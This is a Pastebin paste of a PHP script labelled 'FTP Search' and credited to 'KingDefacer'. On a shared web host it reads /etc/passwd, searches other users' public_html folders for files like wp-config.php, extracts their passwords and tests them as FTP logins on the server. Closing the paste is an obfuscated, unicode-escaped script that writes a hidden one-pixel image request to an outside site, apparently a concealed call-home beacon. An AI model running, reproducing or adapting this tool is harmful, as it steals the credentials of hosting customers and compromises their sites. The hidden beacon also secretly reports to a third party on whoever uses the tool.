Advertisement
blackcyberrootshell

[ + ] FTP Search [ + ]

Mar 3rd, 2015
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.33 KB | None | 0 0
  1. <?php
  2. echo "<html>";
  3. echo "<title>Edited By KingDefacer</title><body>";
  4.  
  5. set_time_limit(0);
  6. ##################
  7. @$passwd=fopen('/etc/passwd','r');
  8. if (!$passwd) {
  9.   echo "[-] Error : coudn't read /etc/passwd";
  10.   exit;
  11. }
  12. $path_to_public=array();
  13. $users=array();
  14. $pathtoconf=array();
  15. $i=0;
  16.  
  17. while(!feof($passwd)) {
  18. $str=fgets($passwd);
  19. if ($i>35) {
  20.    $pos=strpos($str,":");
  21.    $username=substr($str,0,$pos);
  22.    $dirz="/home/$username/public_html/";
  23.    if (($username!="")) {
  24.        if (is_readable($dirz)) {
  25.            array_push($users,$username);
  26.            array_push($path_to_public,$dirz);
  27.        }
  28.    }
  29. }
  30. $i++;
  31. }
  32. ###################
  33.  
  34. #########################
  35. echo "<br><br>";
  36. echo "<textarea name='main_window' cols=100 rows=20>";
  37.  
  38. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
  39. echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories\n";
  40.  
  41. echo "[~] Searching for passwords in config.* files...\n\n";
  42. foreach ($users as $user) {
  43.        $path="/home/$user/public_html/";
  44.        read_dir($path,$user);
  45. }
  46.  
  47. echo "\n[+] Done\n";
  48.  
  49. function read_dir($path,$username) {
  50.    if ($handle = opendir($path)) {
  51.        while (false !== ($file = readdir($handle))) {
  52.              $fpath="$path$file";
  53.              if (($file!='.') and ($file!='..')) {
  54.                 if (is_readable($fpath)) {
  55.                    $dr="$fpath/";
  56.                    if (is_dir($dr)) {
  57.                       read_dir($dr,$username);
  58.                    }
  59.                    else {
  60.                         if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
  61.                            $pass=get_pass($fpath);
  62.                            if ($pass!='') {
  63.                               echo "[+] $fpath\n$pass\n";
  64.                               ftp_check($username,$pass);
  65.                            }
  66.                         }
  67.                    }
  68.                 }
  69.              }
  70.        }
  71.    }
  72. }
  73.  
  74. function get_pass($link) {
  75.    @$config=fopen($link,'r');
  76.    while(!feof($config)) {
  77.        $line=fgets($config);
  78.        if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
  79.            if (strrpos($line,'"'))
  80.               $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
  81.            else
  82.               $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
  83.            return $pass;
  84.        }
  85.    }
  86. }
  87.  
  88. function ftp_check($login,$pass) {
  89.     @$ftp=ftp_connect('127.0.0.1');
  90.     if ($ftp) {
  91.        @$res=ftp_login($ftp,$login,$pass);
  92.        if ($res) {
  93.           echo '[FTP] '.$login.':'.$pass."  Success\n";
  94.        }
  95.        else ftp_quit($ftp);
  96.     }
  97. }
  98.  
  99. echo "</textarea><br>";
  100.  
  101. echo "</body></html>";
  102. ?>
  103. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement